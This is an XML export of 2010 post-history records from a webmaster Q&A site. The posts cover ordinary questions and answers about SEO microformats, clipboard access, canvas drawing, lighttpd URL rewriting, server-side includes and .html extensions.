  <row Id="14364" PostHistoryTypeId="1" PostId="7139" RevisionGUID="c8c52d44-b23a-4634-89d5-1f1b4eb6e2b7" CreationDate="2010-12-28T00:47:12.363" UserId="215" Text="How can I provide star rating metadata to search engines?" />
  <row Id="14365" PostHistoryTypeId="3" PostId="7139" RevisionGUID="c8c52d44-b23a-4634-89d5-1f1b4eb6e2b7" CreationDate="2010-12-28T00:47:12.363" UserId="215" Text="&lt;seo&gt;&lt;metadata&gt;" />
  <row Id="14366" PostHistoryTypeId="2" PostId="7140" RevisionGUID="bf9771ab-27e4-4154-9f3d-20acdba7da32" CreationDate="2010-12-28T00:47:13.337" UserId="2297" Text="Best way is to use redirects (301) to ensure visitors are only using the desired protocol on a particular url. If you have Apache (with mod rewrite) or IIS running in front of Tomcat its easy, otherwise its a bit trickier. If you are running Tomcat standalone you can write a filter to do the redirecting. There are also some general rewrite filters already written out there, but I'm not sure which ones are any good." />
  <row Id="14370" PostHistoryTypeId="2" PostId="7142" RevisionGUID="b394b081-6c1a-4fe0-bb0f-cdb4ab3ea797" CreationDate="2010-12-28T01:53:30.357" UserId="1253" Text="It's [microformats][1] ([Google][2])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://microformats.org/&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2009/05/introducing-rich-snippets.html" />
  <row Id="14374" PostHistoryTypeId="2" PostId="7143" RevisionGUID="f7960307-ae0d-4685-83ce-6f78631ca776" CreationDate="2010-12-28T01:57:14.687" UserId="1218" Text="Use a Review [Microformat][1]. Google has [good documentation][2] of what they use, but the full standard for the [hReview Microformat][3] should also be looked at, as it offers more properties.&#xD;&#xA;&#xD;&#xA;Google lists &#xD;&#xA;&#xD;&#xA;    itemreviewed&#xD;&#xA;    rating&#xD;&#xA;    reviewer&#xD;&#xA;    dtreviewed&#xD;&#xA;    description&#xD;&#xA;    summary&#xD;&#xA;&#xD;&#xA;Google also gives examples of [Individual reviews][4] and [Aggregated reviews][5].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.mozilla.com/faaborg/2006/12/11/microformats-part-0-introduction/&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?answer=146645&#xD;&#xA;  [3]: http://microformats.org/wiki/hreview&#xD;&#xA;  [4]: http://www.google.com/support/webmasters/bin/answer.py?answer=146645#Individual_reviews&#xD;&#xA;  [5]: http://www.google.com/support/webmasters/bin/answer.py?answer=146645#Aggregate_reviews" />
  <row Id="14375" PostHistoryTypeId="2" PostId="7144" RevisionGUID="773b154e-8b7d-4908-8870-667f8d0eb525" CreationDate="2010-12-28T03:32:11.167" UserId="2636" Text="By intentional I mean the user is actively clicking a button or performing an action that leads to certain text being places in their clipboard. As far as I know the only solution to this is [Zero Clipboard][1], but I feel like it's not accepted as a good solution since it uses flash. Are there any alternatives if I want to allow users to copy specific text information at the click of a button?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/zeroclipboard/" />
  <row Id="14376" PostHistoryTypeId="1" PostId="7144" RevisionGUID="773b154e-8b7d-4908-8870-667f8d0eb525" CreationDate="2010-12-28T03:32:11.167" UserId="2636" Text="Intentional placing of text in clipboard" />
  <row Id="14377" PostHistoryTypeId="3" PostId="7144" RevisionGUID="773b154e-8b7d-4908-8870-667f8d0eb525" CreationDate="2010-12-28T03:32:11.167" UserId="2636" Text="&lt;javascript&gt;&lt;website-features&gt;&lt;flash&gt;" />
  <row Id="14378" PostHistoryTypeId="2" PostId="7145" RevisionGUID="24017814-b770-45e4-9bdb-0ea085eb074c" CreationDate="2010-12-28T04:05:46.077" UserId="4130" Text="I believe that the answer is no.&#xD;&#xA;Javascript has the methods to copy to clipboard, however browsers don't allow them for security purposes...&#xD;&#xA;&#xD;&#xA;I'm afraid i've to say that flash is the only solution.&#xD;&#xA;&#xD;&#xA;However!&#xD;&#xA;there are some specific browser methods and classes that can enable this setting, however they are not cross-browser, so it's pretty much useless =\ anyway you can read more here: https://developer.mozilla.org/en/using_the_clipboard" />
  <row Id="14379" PostHistoryTypeId="2" PostId="7146" RevisionGUID="9743736c-90bc-49f2-8511-fa5b0ca0a070" CreationDate="2010-12-28T05:24:50.867" UserId="4131" Text="&gt; I wonder if it's safe to use font-face with special dingbats fonts.&#xD;&#xA;&#xD;&#xA;It's not - have a look at [this article][1] for more information. The article presents a simple example: &#xD;&#xA;&#xD;&#xA;    &lt;button type=&quot;submit&quot;&gt;Purchase &lt;span class=&quot;icon&quot;&gt;6&lt;/span&gt;&lt;/button&gt;&#xD;&#xA;&#xD;&#xA;The main problems, as mentioned in the article, are two fold: &#xD;&#xA;&#xD;&#xA; - Users with JavaScript disabled, as well as users for browsers that render the text in fallback font before the `@font-face` font files are fully loaded, will see the plain text, which is highly undesirable, since something like `6` would make no sense to the user&#xD;&#xA; - More importantly, this will be a big usability problem for disabled users using text-to-speech programs - hearing `Purchase Six` just doesn't make sense.&#xD;&#xA;&#xD;&#xA;The authors goes on to talk about possible solutions, but conclude that there is no real way around all of the problems presented. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://filamentgroup.com/lab/dingbat_webfonts_accessibility_issues/" />
  <row Id="14380" PostHistoryTypeId="2" PostId="7147" RevisionGUID="62a6029b-5e16-42d8-a3d8-67a818fc985e" CreationDate="2010-12-28T06:26:25.910" UserId="936" Text="I want to achieve the following:&#xD;&#xA;Image a white sheet of paper on a black desk. Then rotate the paper a little bit to the left (like, 25 degrees). Now you still have the black desk, and a rotated white box on it.&#xD;&#xA;&#xD;&#xA;In this rotated white box I want to place non-rotated normal html content like text, tables, div's etc.&#xD;&#xA;&#xD;&#xA;I already have a problem at the very first step: rotating a rectangle. This is my code so far:&#xD;&#xA;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;    &lt;script&gt;&#xD;&#xA;    function draw() {&#xD;&#xA;     var canvas=document.getElementById(&quot;myCanvas&quot;);&#xD;&#xA;     var c=canvas.getContext(&quot;2d&quot;);&#xD;&#xA;    &#xD;&#xA;     c.fillStyle     = '#00';&#xD;&#xA;     c.fillRect(100, 100, 100, 100);&#xD;&#xA;     c.rotate(20); &#xD;&#xA;     c.fillStyle     = '#ff0000';&#xD;&#xA;     c.fillRect(150, 150, 10, 10);&#xD;&#xA;    &#xD;&#xA;     }&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &lt;body onload=&quot;draw()&quot;&gt;&#xD;&#xA;     &lt;canvas id=&quot;myCanvas&quot; width=&quot;500&quot; height=&quot;500&quot;&gt;&lt;/canvas&gt;&#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;With this, I see only a normal black box. Nothing else. I assume there should be a red, rotated box too, but there's nothing.&#xD;&#xA;&#xD;&#xA;What is the best approach to reach this and to have it as a (scaling) background for my web page?" />
  <row Id="14381" PostHistoryTypeId="1" PostId="7147" RevisionGUID="62a6029b-5e16-42d8-a3d8-67a818fc985e" CreationDate="2010-12-28T06:26:25.910" UserId="936" Text="How to rotate html5 canvas as page background?" />
  <row Id="14382" PostHistoryTypeId="3" PostId="7147" RevisionGUID="62a6029b-5e16-42d8-a3d8-67a818fc985e" CreationDate="2010-12-28T06:26:25.910" UserId="936" Text="&lt;html5&gt;" />
  <row Id="14383" PostHistoryTypeId="2" PostId="7148" RevisionGUID="ca8e307b-2b70-41cc-9480-dd28df048c6e" CreationDate="2010-12-28T08:30:29.433" UserId="4134" Text="I am about to launch a website that allows the end user to get alerted as their bus approches the stop. The only problem was this is a little expensive as I'm paying about 5 cents per alert. I was thinking that if i added a short message something like &quot;brought to you by acme co&quot; at the end of the message I may be able to recoup cost without making my service a paid one.&#xD;&#xA;&#xD;&#xA;Anyone know of any SMS ad companies or how one would go about finding one. Google has failed me, probably searching for the wrong thing.&#xD;&#xA;" />
  <row Id="14384" PostHistoryTypeId="1" PostId="7148" RevisionGUID="ca8e307b-2b70-41cc-9480-dd28df048c6e" CreationDate="2010-12-28T08:30:29.433" UserId="4134" Text="SMS ad service for a php app." />
  <row Id="14385" PostHistoryTypeId="3" PostId="7148" RevisionGUID="ca8e307b-2b70-41cc-9480-dd28df048c6e" CreationDate="2010-12-28T08:30:29.433" UserId="4134" Text="&lt;advertising&gt;&lt;ads&gt;&lt;sms&gt;" />
  <row Id="14386" PostHistoryTypeId="5" PostId="7146" RevisionGUID="bd73786c-4f77-47bf-b830-66e775f7daf4" CreationDate="2010-12-28T09:16:20.563" UserId="4131" Comment="deleted 13 characters in body" Text="&gt; I wonder if it's safe to use font-face with special dingbats fonts.&#xD;&#xA;&#xD;&#xA;It's not - have a look at [this article][1] for more information. The article presents a simple example: &#xD;&#xA;&#xD;&#xA;    &lt;button type=&quot;submit&quot;&gt;Purchase &lt;span class=&quot;icon&quot;&gt;6&lt;/span&gt;&lt;/button&gt;&#xD;&#xA;&#xD;&#xA;The main problems, as mentioned in the article, are two fold: &#xD;&#xA;&#xD;&#xA; - Users with browsers that render the text in fallback font before the `@font-face` font files are fully loaded, will see the plain text, which is highly undesirable, since something like `6` turning into a shopping cart would make no sense to the user&#xD;&#xA; - More importantly, this will be a big usability problem for disabled users using text-to-speech programs - hearing `Purchase Six` just doesn't make sense.&#xD;&#xA;&#xD;&#xA;The authors goes on to talk about possible solutions, but conclude that there is no real way around all of the problems presented. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://filamentgroup.com/lab/dingbat_webfonts_accessibility_issues/" />
  <row Id="14387" PostHistoryTypeId="2" PostId="7149" RevisionGUID="1f5df0df-d8b4-46da-96ac-a7143c585a69" CreationDate="2010-12-28T09:25:46.617" UserId="1171" Text="I am looking for a application to install in my server having the following features:'&#xD;&#xA;&#xD;&#xA; 1. A global dashboard&#xD;&#xA; 2. Wiki&#xD;&#xA; 3. Article&#xD;&#xA; 4. Forum&#xD;&#xA; 5. Quiz&#xD;&#xA; 6. Newsleter (Optional)&#xD;&#xA; 7. Q/A (Optional)&#xD;&#xA;&#xD;&#xA;I already found a application: [TWiki](http://twiki.org/), but looking for a better alternative." />
  <row Id="14388" PostHistoryTypeId="1" PostId="7149" RevisionGUID="1f5df0df-d8b4-46da-96ac-a7143c585a69" CreationDate="2010-12-28T09:25:46.617" UserId="1171" Text="Need common platform: Wiki, Article, Forum, Quiz, News &amp; a global dashboard" />
  <row Id="14389" PostHistoryTypeId="3" PostId="7149" RevisionGUID="1f5df0df-d8b4-46da-96ac-a7143c585a69" CreationDate="2010-12-28T09:25:46.617" UserId="1171" Text="&lt;web-applications&gt;" />
  <row Id="14390" PostHistoryTypeId="2" PostId="7150" RevisionGUID="6a146205-a116-4ba0-830d-55f04c2e8526" CreationDate="2010-12-28T09:58:19.840" UserId="3656" Text="i got an image behind my google adsense, the css code of that background image is:&#xD;&#xA;&#xD;&#xA;&gt; background: transparent&#xD;&#xA;&gt; url(&quot;http://i53.tinypic.com/2lu8jgg.jpg&quot;)&#xD;&#xA;&gt; repeat-x left bottom;&#xD;&#xA;&gt; padding-bottom:10px; padding-top:0px;&#xD;&#xA;&gt;     height: 352px; padding-bottom:5	0px;&#xD;&#xA;&gt; padding-left:50px; padding-right:50px;&#xD;&#xA;&gt; padding-top:280px; &#xD;&#xA;&gt; width: 350px;&#xD;&#xA;&#xD;&#xA;this works fine in mozilla firefox, &#xD;&#xA;&#xD;&#xA;but when i open my website in google chrome browser the background image is crapped, it is spread in the entire background,&#xD;&#xA;whereas it works fine in mozilla and rock-melt,&#xD;&#xA;whats the actual problem&#xD;&#xA;my website is: http://mbas.in/&#xD;&#xA;" />
  <row Id="14391" PostHistoryTypeId="1" PostId="7150" RevisionGUID="6a146205-a116-4ba0-830d-55f04c2e8526" CreationDate="2010-12-28T09:58:19.840" UserId="3656" Text="problem with css or browser" />
  <row Id="14392" PostHistoryTypeId="3" PostId="7150" RevisionGUID="6a146205-a116-4ba0-830d-55f04c2e8526" CreationDate="2010-12-28T09:58:19.840" UserId="3656" Text="&lt;css&gt;&lt;images&gt;" />
  <row Id="14393" PostHistoryTypeId="2" PostId="7151" RevisionGUID="40f638ac-2a4d-48b6-95ad-21c3f55638f8" CreationDate="2010-12-28T10:31:24.617" UserId="55" Text="I'm using Lighttpd to serve a GET based API that I'm working on, and I'm having some difficulty with re-writing requests.&#xD;&#xA;&#xD;&#xA;My API calls are very simple. An example would be :&#xD;&#xA;&#xD;&#xA;     url:/method/submethod?var1=something&amp;var2=something&amp;key=something&#xD;&#xA;&#xD;&#xA;This is what I have:&#xD;&#xA;&#xD;&#xA;    url.rewrite-once = ( &quot;^/methodfoo(.*)&quot; =&gt; &quot;/index.php$1&amp;method=methodfoo&quot;)&#xD;&#xA;&#xD;&#xA;This works fine if all methods were shallow, but I have `methodfoo/submethod` to deal with. What I'd _like_ to do is use a rule that can split this up for me, appending a `&amp;submethod` to the end of the rewritten string.&#xD;&#xA;&#xD;&#xA;For instance:&#xD;&#xA;&#xD;&#xA;    url://methodfoo/submethod?foo=bar&amp;foobar=foo&#xD;&#xA;&#xD;&#xA;Would be re-written to:&#xD;&#xA;&#xD;&#xA;    url://index.php?foo=bar&amp;foobar=foo&amp;method=methodfoo&amp;submethod=foo&#xD;&#xA;&#xD;&#xA;Can I do that without an explicit rule for each submethod?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14394" PostHistoryTypeId="1" PostId="7151" RevisionGUID="40f638ac-2a4d-48b6-95ad-21c3f55638f8" CreationDate="2010-12-28T10:31:24.617" UserId="55" Text="Re-writing URL's with lighttpd" />
  <row Id="14395" PostHistoryTypeId="3" PostId="7151" RevisionGUID="40f638ac-2a4d-48b6-95ad-21c3f55638f8" CreationDate="2010-12-28T10:31:24.617" UserId="55" Text="&lt;url-rewriting&gt;&lt;lighttpd&gt;" />
  <row Id="14396" PostHistoryTypeId="5" PostId="7151" RevisionGUID="ad5c8425-dda5-42fd-b701-774ab23a0215" CreationDate="2010-12-28T10:55:41.630" UserId="55" Comment="added 401 characters in body" Text="I'm using Lighttpd to serve a GET based API that I'm working on, and I'm having some difficulty with re-writing requests.&#xD;&#xA;&#xD;&#xA;My API calls are very simple. An example would be :&#xD;&#xA;&#xD;&#xA;     url:/method/submethod?var1=something&amp;var2=something&amp;key=something&#xD;&#xA;&#xD;&#xA;This is what I have:&#xD;&#xA;&#xD;&#xA;    url.rewrite-once = ( &quot;^/methodfoo(.*)&quot; =&gt; &quot;/index.php$1&amp;method=methodfoo&quot;)&#xD;&#xA;&#xD;&#xA;This works fine if all methods were shallow, but I have `methodfoo/submethod` to deal with. What I'd _like_ to do is use a rule that can split this up for me, appending a `&amp;submethod` to the end of the rewritten string.&#xD;&#xA;&#xD;&#xA;For instance:&#xD;&#xA;&#xD;&#xA;    url://methodfoo/submethod?foo=bar&amp;foobar=foo&#xD;&#xA;&#xD;&#xA;Would be re-written to:&#xD;&#xA;&#xD;&#xA;    url://index.php?foo=bar&amp;foobar=foo&amp;method=methodfoo&amp;submethod=foo&#xD;&#xA;&#xD;&#xA;Can I do that without an explicit rule for each submethod?&#xD;&#xA;&#xD;&#xA;***Additional Information:***&#xD;&#xA;&#xD;&#xA;Yes, I know I can use a rule like:&#xD;&#xA;&#xD;&#xA;     &quot;^/methodfoo/(.*)/(.*)&quot; =&gt; &quot;/index.php$2&amp;method=methodfoo&amp;submethod=$1&quot;&#xD;&#xA;&#xD;&#xA;However, That fuglifies (TM) my link structure, as it would have to match:&#xD;&#xA;&#xD;&#xA;     url://methodfoo/submethod/?foo=bar&amp;foobar=foo&#xD;&#xA;&#xD;&#xA;When I really want:&#xD;&#xA;&#xD;&#xA;     url://methodfoo/submethod?foo=bar&amp;foobar=foo&#xD;&#xA;&#xD;&#xA;Thanks in advance for any suggestions.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14397" PostHistoryTypeId="2" PostId="7152" RevisionGUID="107dad2d-6848-4a43-a5a8-8696029d0096" CreationDate="2010-12-28T11:33:51.753" UserId="55" Text="Solved with this:&#xD;&#xA;&#xD;&#xA;    url.rewrite-once = (&quot;^/foo/(.*)([/?])(.*)&quot; =&gt; &quot;/index.php$2&amp;$3&amp;m=foo&amp;sub=$1&quot;)&#xD;&#xA;&#xD;&#xA;This allows links like:&#xD;&#xA;&#xD;&#xA;    /foo/bar?foo=bar&#xD;&#xA;&#xD;&#xA;Or&#xD;&#xA;&#xD;&#xA;    /foo/bar/foobar/foo?bar=foo&#xD;&#xA;&#xD;&#xA;Not sure if that's the best way to do it, but it does let me skip writing a rule for each sub method.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14398" PostHistoryTypeId="2" PostId="7153" RevisionGUID="5cb1d00c-3925-444d-954b-0a9be57a6708" CreationDate="2010-12-28T12:02:55.863" UserId="2293" Text="@Yi Jiang is right about usability issues.&#xD;&#xA;&#xD;&#xA;Of course, if you use a bullet proof @font-face, the chances of getting errors are very reduced. The main issue however remains for screen-readers and text-browsers.&#xD;&#xA;&#xD;&#xA;One more consideration is: downloading fonts instead of just one single symbol or image does not really save bandwidth nor loading time (unless you need them in many different sizes). The best saving technique so far is CSS sprites, with a nice image file (high quality, high compression)." />
  <row Id="14399" PostHistoryTypeId="2" PostId="7154" RevisionGUID="5e682643-2914-4764-8d25-9dfce81fdbe5" CreationDate="2010-12-28T12:15:46.680" UserId="2293" Text="I can see one error on your code:&#xD;&#xA;&#xD;&#xA;    c.fillStyle     = '#00';&#xD;&#xA;&#xD;&#xA;should be &#xD;&#xA;&#xD;&#xA;    c.fillStyle     = '#000';&#xD;&#xA;&#xD;&#xA;This should help. Also follow a link with some exmaples about what you want: https://developer.mozilla.org/en/drawing_graphics_with_canvas" />
  <row Id="14400" PostHistoryTypeId="12" PostId="7152" RevisionGUID="d1ff26f5-7b31-4868-8b30-7582792c16e9" CreationDate="2010-12-28T12:43:16.623" UserId="55" Text="[{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;}]" />
  <row Id="14401" PostHistoryTypeId="13" PostId="7152" RevisionGUID="c0ac719b-9e77-4abd-b145-3a7e3d49853b" CreationDate="2010-12-28T13:16:35.597" UserId="55" Text="[{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;}]" />
  <row Id="14402" PostHistoryTypeId="2" PostId="7155" RevisionGUID="a6364b61-377a-4f3f-a55d-9a8f798763b6" CreationDate="2010-12-28T13:28:10.917" UserId="3461" Text="Maybe [LifeRay][1] could do. Not sure on the quiz part, though.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bitnami.org/stack/liferay" />
  <row Id="14403" PostHistoryTypeId="10" PostId="7147" RevisionGUID="fa3987f9-d06d-4f47-93ce-d98a699d4209" CreationDate="2010-12-28T13:44:40.007" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="14404" PostHistoryTypeId="10" PostId="7150" RevisionGUID="6f704410-fc70-4110-acc3-eeb6f3b43ba8" CreationDate="2010-12-28T13:45:24.670" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="14405" PostHistoryTypeId="2" PostId="7156" RevisionGUID="be19193a-2535-4705-8ea5-d211f3234ab1" CreationDate="2010-12-28T14:14:37.387" UserDisplayName="Website Backup" Text="There is a tool to do what you want : [Website 2 Backup][1]. It is an automatic website files and database backup manager. Archives are encrypted and splitted. You can store on Email, FTP, or locally. Double backup, integrated restoration, and many more.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://website2backup.com" />
  <row Id="14406" PostHistoryTypeId="5" PostId="7145" RevisionGUID="b940efac-bc7c-4239-8808-4838d33ce875" CreationDate="2010-12-28T15:31:40.290" UserId="4130" Comment="removed wrong information that could mistake other people" Text="I believe that the answer is no.&#xD;&#xA;Javascript has the methods to copy to clipboard, however browsers don't allow them for security purposes...&#xD;&#xA;&#xD;&#xA;I'm afraid i've to say that flash is the only solution." />
  <row Id="14407" PostHistoryTypeId="2" PostId="7157" RevisionGUID="e0b65788-45ff-46a6-ba15-13d82ddcbde5" CreationDate="2010-12-28T15:33:28.793" UserId="4137" Text="I tend to use sprites for decorative icons, they have nothing to do with the page as a whole so for SEO its fine in that case. Any set of images you have that are all the same dimensions that do not contribute to the meaning of the page are good candidates for css sprites." />
  <row Id="14408" PostHistoryTypeId="2" PostId="7158" RevisionGUID="2ea1ae6d-5044-4168-833d-34228bfb0e0c" CreationDate="2010-12-28T16:12:22.953" UserId="2293" Text="Use a rel=&quot;canonical&quot; link tag. It exists for this purpose. It was suggested first by google, but whatwg and w3c are in ways to approve it as spec.&#xD;&#xA;&#xD;&#xA;Per your comments on @danlefree answer, your concern maybe related to URL rewriting to user-friendly URLs, ie, you are used to http://www.domain.tld/apples/weight/, instead of  using http://www.domain.tld/items.php?id=23&amp;sort=weight.&#xD;&#xA;&#xD;&#xA;Well, one way or another will reach the same script, set same application variables and output same content.&#xD;&#xA;&#xD;&#xA;Just make sure you have the same (your preferred) URL on all related pages (for example, every same item, regardless sorting order, in my example could be http://www.domain.tld/apples/)." />
  <row Id="14409" PostHistoryTypeId="2" PostId="7159" RevisionGUID="b1920e7e-f8a2-4929-8d6e-9722cd10e4b9" CreationDate="2010-12-28T18:01:33.847" UserId="4140" Text="This is probably a duplicate, but I can't find the answer anywhere (maybe I'm searching for the wrong thing?) and so I'm going to go ahead and ask.&#xD;&#xA;&#xD;&#xA;What is the accepted standard practice for creating a menu that is stored in a single file, but is included on every page across a site? Back in the day, one used frames, but this seems to be taboo now. I can get things layed out just the way I want, but copy/pasting across every page is a pain.&#xD;&#xA;&#xD;&#xA;I have seen php-based solutions, but my cheap-o free hosting doesn't support php (which is admittedly a pain, but it's a fairly simple webpage...).&#xD;&#xA;&#xD;&#xA;Any ideas for doing this that does not require server-side scripting?" />
  <row Id="14410" PostHistoryTypeId="1" PostId="7159" RevisionGUID="b1920e7e-f8a2-4929-8d6e-9722cd10e4b9" CreationDate="2010-12-28T18:01:33.847" UserId="4140" Text="How to keep menu in a single place without using frames" />
  <row Id="14411" PostHistoryTypeId="3" PostId="7159" RevisionGUID="b1920e7e-f8a2-4929-8d6e-9722cd10e4b9" CreationDate="2010-12-28T18:01:33.847" UserId="4140" Text="&lt;menu&gt;" />
  <row Id="14412" PostHistoryTypeId="2" PostId="7160" RevisionGUID="f9912546-247b-4515-b4a9-2b2b210528ab" CreationDate="2010-12-28T18:07:41.310" UserId="3535" Text="If your web hosting supports server side include files, you could store the menu in a separate html file with just the code (no html, header, body, etc. tags). On the page(s) you want to reference the menu, to call the code you'd use an SSI, a reference that would look something like this: `&lt;!--#include virtual=&quot;http://www.yoursite.com/includes/menu.html&quot; --&gt;`.&#xD;&#xA;&#xD;&#xA;Hope that helps." />
  <row Id="14413" PostHistoryTypeId="2" PostId="7161" RevisionGUID="6a208b38-0a2f-4a0c-b154-d9de4653c1f8" CreationDate="2010-12-28T18:16:11.660" UserId="1018" Text="You could run a script to complete your pages prior to uploading to the server. After all, what stops you from running PHP locally and then uploading the results?" />
  <row Id="14415" PostHistoryTypeId="2" PostId="7163" RevisionGUID="3e56accb-5398-4bfa-b7ce-cc86cdc332f9" CreationDate="2010-12-28T19:11:42.487" UserId="2293" Text="Tough question, but we still have some workarounds to try on:&#xD;&#xA;&#xD;&#xA;**Server-side includes (SSI)**&#xD;&#xA;------------------------------&#xD;&#xA;If you server allows that, you can use @SubTypical solution&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**XML + XSLT**&#xD;&#xA;--------------&#xD;&#xA;Yes, none so far told about this one. Will not extend the conversation:&#xD;&#xA;&#xD;&#xA;http://www.google.com/search?q=including+files+with+xml+and+xslt&#xD;&#xA;&#xD;&#xA;It can be a little pain, but worth while." />
  <row Id="14417" PostHistoryTypeId="2" PostId="7164" RevisionGUID="a4f54ad7-d7b6-4ff7-8e4d-afa0bddc0767" CreationDate="2010-12-28T21:21:38.230" UserId="2907" Text="I hate to even mention this, but it would probably work... you COULD do it in javascript as a bunch of document.write statements and then the script could be mainatained separately from where it's called.&#xD;&#xA;&#xD;&#xA;I'd move to a host with PHP though before i messed with that. I'm with hostmonster.com. They offer multiple domains, PHP, MySQL a lot of add ons and it's like $5/month.&#xD;&#xA;&#xD;&#xA;Good luck." />
  <row Id="14418" PostHistoryTypeId="2" PostId="7165" RevisionGUID="4396f0ae-f891-47e4-aea6-296cad41b958" CreationDate="2010-12-28T21:22:40.267" UserDisplayName="Website Backup" Text="The main problem if you use XML pad files to submit your software is the duplicate content. The same description of your product is on several websites and search engine does not like that too much." />
  <row Id="14419" PostHistoryTypeId="2" PostId="7166" RevisionGUID="31774054-eda4-4ea6-b5b6-675c704b9529" CreationDate="2010-12-28T21:30:36.720" UserId="2907" Text="Since this has been voted up, I'll go along with what Lese states as a comment and add this..&#xD;&#xA;&#xD;&#xA;http://www.mywot.com/en/trustseal/tips/manage-your-reputation&#xD;&#xA;&#xD;&#xA;Maybe if you share links to your site we could check it out further. I put in my current and previous companies urls in the &quot;my&quot; section and both score in the 70's. When I do a check on the &quot;How Trusted...&quot; searh here:&#xD;&#xA;&#xD;&#xA;http://www.mywot.com/en/trustseal&#xD;&#xA;&#xD;&#xA;I get a message saying it's not trusted.&#xD;&#xA;&#xD;&#xA;I think a big part of this is the site has lower traffic numbers." />
  <row Id="14420" PostHistoryTypeId="2" PostId="7167" RevisionGUID="dba2f5b1-1d83-4c3f-bea1-af6c1d5879e4" CreationDate="2010-12-28T22:15:13.717" UserId="2907" Text="I found this useful...&#xD;&#xA;&#xD;&#xA;http://www.theopensourcery.com/keepopen/2010/best-open-cms-wordpress-vs-joomla-vs-drupal/&#xD;&#xA;&#xD;&#xA;HTH&#xD;&#xA;D." />
  <row Id="14421" PostHistoryTypeId="2" PostId="7169" RevisionGUID="5e316fbf-4171-4a2f-ae4c-9001b81703aa" CreationDate="2010-12-28T21:20:03.720" UserDisplayName="Klaus Byskov Hoffmann" Text="I'm no SEO expert so don't take my word for it, but: SEO is about coupling *search terms*  to your pages so that your pages will show up as high as possible in the search results. By repeating a term in both the url, the title, an h1 tag, the body text and possibly in meta tags, your page is supposed to score higher than one that only has the term in one of these places. Now how would having `.html` in the url change this? Unless of course `html` is the search term. And what about those sites that use another extension such as `.php`, `.aspx` etc.? If pages were scored differently based on the extension, I would think it would have been quite a big of deal (i mean wouldn't that potentially favor one platform/framework over another)? And take a look at some other web sites. What does stackoverflow do? What does google themselves do? I don't see any `.html` extesions there. To me, that says it all.&#xD;&#xA;&#xD;&#xA;Just my 5 cents, anyway." />
  <row Id="14422" PostHistoryTypeId="2" PostId="7168" RevisionGUID="fc22ab09-b372-4fda-bf90-79976d176cfe" CreationDate="2010-12-28T21:01:24.763" UserDisplayName="Scott Schluer" Text="I know this question has been asked before on Stack Overflow, but what I have not been able to find in the posts I've read are concrete references as to WHY one is better than the other (something I can take to my boss).&#xD;&#xA;&#xD;&#xA;So I'm working on an MVC 3 application that is basically a rewrite of the existing production application (web forms) using MVC. The current site uses a URL rewriter to rewrite &quot;friendly&quot; urls with HTML extensions to their ASPX counterpart.&#xD;&#xA;&#xD;&#xA;i.e. http://www.site.com/products/18554-widget.html gets rewritten to http://www.site.com/products.aspx?id=18554&#xD;&#xA;&#xD;&#xA;We're moving away from this with the MVC site, but the powers that be still want the HTML extension on the URLs. As a developer, that just feels wrong on an MVC site. I've written a quick and dirty HttpModule that will perform a 301 redirect from the .html URL to the same URL without the .html extension and it works fine, but I need to convince management that removing the .html extension is not going to hurt SEO. I'd prefer to have this sort of friendly URL:&#xD;&#xA;&#xD;&#xA;http://www.site.com/products/18554-widget&#xD;&#xA;&#xD;&#xA;Can anyone provide information to back up my position or am I actually trying to do something that WOULD hurt SEO, in which case can you provide references on that?" />
  <row Id="14423" PostHistoryTypeId="1" PostId="7168" RevisionGUID="fc22ab09-b372-4fda-bf90-79976d176cfe" CreationDate="2010-12-28T21:01:24.763" UserDisplayName="Scott Schluer" Text=".html extension or no for SEO purposes" />
  <row Id="14424" PostHistoryTypeId="3" PostId="7168" RevisionGUID="fc22ab09-b372-4fda-bf90-79976d176cfe" CreationDate="2010-12-28T21:01:24.763" UserDisplayName="Scott Schluer" Text="&lt;seo&gt;" />
  <row Id="14425" PostHistoryTypeId="17" PostId="7168" RevisionGUID="46852d51-fb0c-4509-9bea-361e2907332f" CreationDate="2010-12-28T22:17:31.253" UserId="-1" Comment="from http://stackoverflow.com/questions/4549481/html-extension-or-no-for-seo-purposes" Text="" />
  <row Id="14426" PostHistoryTypeId="2" PostId="7170" RevisionGUID="a6426876-7b7f-426f-9ca8-961d701d7089" CreationDate="2010-12-28T22:24:33.460" UserId="4144" Text="You could create a separate page then use an ajax JavaScript request to retrieve and fill out the menu. This really should probably be on stack overflow." />
  <row Id="14433" PostHistoryTypeId="10" PostId="7168" RevisionGUID="a44a00f8-893d-41ca-9dc3-bdb90b80a66c" CreationDate="2010-12-28T23:07:00.777" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
